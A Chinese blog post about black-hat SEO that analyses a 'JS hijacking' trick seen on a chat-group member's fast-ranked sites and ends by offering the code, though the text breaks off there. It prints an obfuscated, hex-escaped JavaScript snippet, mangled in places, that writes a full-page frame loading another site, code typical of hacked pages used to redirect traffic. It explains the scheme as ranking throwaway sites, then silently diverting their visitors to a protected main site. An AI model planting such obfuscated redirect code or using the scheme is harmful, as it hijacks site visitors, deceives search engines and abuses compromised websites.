关于劫持：JS劫持手法

有关黑帽的具体操作网上少之又少，基本都标题党。

刚好最近碰到一个群友在吹他的快排，就拿他的来做个讲解。

我看了他的网站，就只能看出JS劫持，其他我也不懂，就讲讲这个吧。

暂时他有三个网站，指数5000左右的词都排首页前5位，大家先看看数据(提醒：拿别人的网站来分析，切勿放上网址及网站信息，断人财路等于杀人放火)

短时间内有这样的数据，50%做了快排。

这样看快排的几率90%了

这里提醒下各位站长，快排来得快去得也快，这是铁律。能给你几个月的快感，百度一更新就难翻身，切记切记。

但我个人比较向往黑帽，因为厉害啊。

看了他的网站代码，里面都有一个奇怪的JS代码

window[“x64x6fx63x75x6dx65x6ex74”][‘x77x72x69x74x65x6cx6e’](“x3cx73x63x72x69x70x74 x6cx61x6ex67x75x61x67x65 x3d

x6ax61x76x61x73x63x72x69x70x74x3e”);window[“x64x6fx63x75x6dx65x6ex74”][‘x77x72x69x74x65x6cx6e’]

(“x64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28″x3cx66x72x61x6dx65x73x65x74 x72x6fx77x73x3dx27x31x30x30x25x2cx2ax27

x66x72x61x6dx65x62x6fx72x64x65x72x3dx27x4ex4fx27 x62x6fx72x64x65x72x3dx27x30x27

x66x72x61x6dx65x73x70x61x63x69x6ex67x3dx27x30x27x3e”x29x3b”);window[“x64x6fx63x75x6dx65x6ex74”][‘x77x72x69x74x65x6cx6e’]

(“x64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28″x3cx66x72x61x6dx65 x6ex61x6dx65x3dx27x6dx61x69x6ex27

x73x72x63x3dx27x68x74x74x70x3ax2fx2fx77x77x77x2eu4f60u7684u7f51u5740x2ex63x6fx6dx27

x73x63x72x6fx6cx6cx69x6ex67x3dx79x65x73x3e”x29x3b”);window[“x64x6fx63x75x6dx65x6ex74”][‘x77x72x69x74x65x6cx6e’]

(‘x64x6fx63x75x6dx65x6ex74x2ex77x72x69x74x65x28x22x3cx2fx66x72x61x6dx65x73x65x74x3ex22x29x3b’);window[“x64x6fx63x75x6dx65x6ex74”]

[‘x77x72x69x74x65x6cx6e’](“xx33x63x2fx73x63x72x69x70x74x3e”);

是不是很奇怪

其实这个是经过加密的JS劫持代码，经常会出现在被黑的网站里面，劫持流量。

解密后发现都是指向一个网站，我们再看看那个网站的数据

能肯定这个估计就是主站了，手法就是通过快排一些网站上排位然后JS劫持流量到主站做排名。

那肯定你们会问，为什么这么大费周章不直接就去快排主站算了。

因为主站不能被K，而快排站无所谓，说明一下，百度蜘蛛现在是不能识别JS代码的，一旦惩罚，主站不会被牵连，

而且这位朋友手法成熟，快排站与主站做的行业和关键词都一致，一旦跳转，主站的流量来源都会是行业关键词，想法很好。

好了，点到为止，希望能给你们一点帮助，最后奉上JS代码。

document.writeln(“